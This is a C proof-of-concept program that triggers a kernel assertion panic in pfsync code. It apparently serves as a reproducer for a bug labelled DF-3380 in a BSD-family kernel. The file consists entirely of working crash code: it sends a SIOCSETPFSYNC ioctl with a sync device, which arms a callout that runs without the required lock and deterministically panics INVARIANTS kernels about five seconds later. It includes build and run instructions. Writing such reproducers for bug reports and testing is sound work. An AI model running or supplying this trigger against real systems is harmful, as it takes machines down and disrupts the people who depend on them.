/*
 * DF-3380 trigger: SIOCSETPFSYNC with syncdev= -> arms sc->sc_bulkfail_tmo
 * (5*hz) with handler pfsync_bulkfail, which executes in the softclock
 * callout thread WITHOUT pf_token and hits
 * ASSERT_LWKT_TOKEN_HELD(&pf_token)  (sys/net/pf/if_pfsync.c:1621)
 * -> deterministic KKASSERT panic on INVARIANTS kernels, ~5s after the
 * ioctl returns.
 *
 * Build: cc -o trigger_df3380 trigger_df3380.c
 * Run:   ./trigger_df3380 [syncdev]      (default tap0)
 */
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <err.h>

/* mirror of struct pfsyncreq from sys/net/pf/if_pfsync.h */
struct pfsyncreq {
	char		 pfsyncr_syncdev[IFNAMSIZ];
	struct in_addr	 pfsyncr_syncpeer;
	int		 pfsyncr_maxupdates;
	int		 pfsyncr_authlevel;
};
#define SIOCSETPFSYNC	_IOW('i', 247, struct ifreq)
#define SIOCGETPFSYNC	_IOWR('i', 248, struct ifreq)

int
main(int argc, char **argv)
{
	struct ifreq ifr;
	struct pfsyncreq preq;
	const char *dev = argc > 1 ? argv[1] : "tap0";
	int s, rc;

	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0)
		err(1, "socket");

	memset(&ifr, 0, sizeof(ifr));
	memset(&preq, 0, sizeof(preq));
	strlcpy(ifr.ifr_name, "pfsync0", sizeof(ifr.ifr_name));
	strlcpy(preq.pfsyncr_syncdev, dev, sizeof(preq.pfsyncr_syncdev));
	preq.pfsyncr_maxupdates = 128;
	ifr.ifr_data = (caddr_t)&preq;

	printf("[*] issuing SIOCSETPFSYNC(syncdev=%s) on pfsync0 ...\n", dev);
	rc = ioctl(s, SIOCSETPFSYNC, &ifr);
	if (rc < 0)
		err(1, "SIOCSETPFSYNC");
	printf("[+] SIOCSETPFSYNC ok: pfsync_bulkfail callout armed, "
	    "panic expected in ~5s on INVARIANTS kernels\n");

	memset(&ifr, 0, sizeof(ifr));
	memset(&preq, 0, sizeof(preq));
	strlcpy(ifr.ifr_name, "pfsync0", sizeof(ifr.ifr_name));
	ifr.ifr_data = (caddr_t)&preq;
	if (ioctl(s, SIOCGETPFSYNC, &ifr) == 0)
		printf("[+] SIOCGETPFSYNC: syncdev=%s maxupd=%d\n",
		    preq.pfsyncr_syncdev, preq.pfsyncr_maxupdates);
	close(s);
	return (0);
}
